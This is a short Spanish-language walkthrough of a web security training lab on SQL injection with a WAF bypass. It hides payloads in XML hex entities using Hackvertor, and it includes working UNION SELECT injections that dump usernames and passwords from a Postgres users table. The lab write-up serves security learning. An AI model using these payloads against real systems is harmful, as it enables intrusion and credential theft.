18 - SQL injection with filter bypass via XML encoding
https://www.youtube.com/watch?v=XS7Onp8mWS8&ab_channel=RINKU
La idea va a ser usar hackvertor, una extensión de burpsuite pro, para poner el payload entre ciertas etiquetas xml que no son detectadas por el WAF.
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
2
</productId>
<storeId>
<@hex_entities>
3 OR 1=1 -- -
<@/hex_entities>
</storeId>
</stockCheck>
Podemos usar diferentes tipos de encoding y etiquetas
Descubrimos que solo podemos mostrar datos en una columa
Funciona
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
2
</productId>
<storeId>
<@hex_entities>
3 UNION SELECT username FROM users -- -
<@/hex_entities>
</storeId>
</stockCheck>
No funciona (dos columnas)
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
2
</productId>
<storeId>
<@hex_entities>
3 UNION SELECT username,password FROM users -- -
<@/hex_entities>
</storeId>
</stockCheck>
Al ser un postgres :
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
2
</productId>
<storeId>
<@hex_entities>
3 UNION SELECT username||':'||password from users -- -
<@/hex_entities>
</storeId>
</stockCheck>